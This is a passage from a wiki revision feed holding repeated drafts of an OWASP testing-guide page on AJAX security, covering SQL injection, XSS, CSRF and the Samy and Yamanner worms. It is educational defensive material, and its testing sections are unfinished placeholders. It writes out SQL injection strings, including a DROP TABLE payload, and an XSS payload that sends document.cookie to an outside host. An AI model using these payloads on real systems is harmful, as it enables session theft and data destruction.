Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More on SQL Injection can be found at [http://www.owasp.org/index.php/SQL_Injection_AoC, SQL Injection (OWASP Testing Guide v2)].&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Denial of Service is an old attack where an attacker or vulnerable application force the user to launch multiple XMLHttpRequests to a target application against the wishes of the user. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using image tags nested within a JavaScript loop can do the trick more effectively. AJAX being on the client-side makes the attack easier.&amp;lt;pre&amp;gt;&amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Testing ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Testing Tools ==&lt;br /&gt;
'''Charles''' &amp;lt;br&amp;gt; An HTTP proxy/monitor/Reverse Proxy that enables viewing all HTTP traffic between browser and the Internet, including requests, responses and HTTP headers (which contain the cookies and caching information). Capabilities include HTTP/SSL and variable modem speed simulation. Useful for XML development in web browsers, such as AJAX (Asynchronous Javascript and XML) and XMLHTTP, as it enables viewing of actual XML between the client and the server. Can autoconfigure browser's proxy settings on MSIE, Firefox, Safari. Java application from XK72 Ltd.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''' Ghost Train'''&amp;lt;br&amp;gt;Ghost Train is a tool to ease the development of functional tests for web sites. It’s a event recorder, and test generating and replaying add-on you can use with any web application.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Squish/Web (froglogic)'''&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.froglogic.com/squish Squish] is an automated, functional testing tool. It allows to record, edit and run web tests in different browsers (IE, Firefox, Safari, Konqueror, etc.) on different platforms without having to modify the test scripts. Supports different scripting languages for tests.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''JsUnit'''&amp;lt;br&amp;gt;JsUnit is a Unit Testing framework for client-side (in-browser) JavaScript. It is essentially a port of JUnit to JavaScript.&lt;br /&gt;
&lt;br /&gt;
== References == &lt;br /&gt;
&lt;br /&gt;
*[http://en.wikipedia.org/wiki/AJAX AJAX]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12218</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12218"/>
				<updated>2006-11-10T08:39:06Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More on SQL Injection can be found at [http://www.owasp.org/index.php/SQL_Injection_AoC, SQL Injection (OWASP Testing Guide v2)].&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Denial of Service is an old attack where an attacker or vulnerable application force the user to launch multiple XMLHttpRequests to a target application against the wishes of the user. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using image tags nested within a JavaScript loop can do the trick more effectively. AJAX being on the client-side makes the attack easier.&amp;lt;pre&amp;gt;&amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Testing ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Testing Tools ==&lt;br /&gt;
'''Charles''' &amp;lt;br&amp;gt; An HTTP proxy/monitor/Reverse Proxy that enables viewing all HTTP traffic between browser and the Internet, including requests, responses and HTTP headers (which contain the cookies and caching information). Capabilities include HTTP/SSL and variable modem speed simulation. Useful for XML development in web browsers, such as AJAX (Asynchronous Javascript and XML) and XMLHTTP, as it enables viewing of actual XML between the client and the server. Can autoconfigure browser's proxy settings on MSIE, Firefox, Safari. Java application from XK72 Ltd.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''' Ghost Train'''&amp;lt;br&amp;gt;Ghost Train is a tool to ease the development of functional tests for web sites. It’s a event recorder, and test generating and replaying add-on you can use with any web application.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Squish/Web (froglogic)'''&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.froglogic.com/squish Squish] is an automated, functional testing tool. It allows to record, edit and run web tests in different browsers (IE, Firefox, Safari, Konqueror, etc.) on different platforms without having to modify the test scripts. Supports different scripting languages for tests.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''JsUnit'''&amp;lt;br&amp;gt;JsUnit is a Unit Testing framework for client-side (in-browser) JavaScript. It is essentially a port of JUnit to JavaScript.&lt;br /&gt;
&lt;br /&gt;
== References == &lt;br /&gt;
&lt;br /&gt;
*[http://en.wikipedia.org/wiki/AJAX AJAX]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12208</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12208"/>
				<updated>2006-11-09T23:15:51Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Black Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
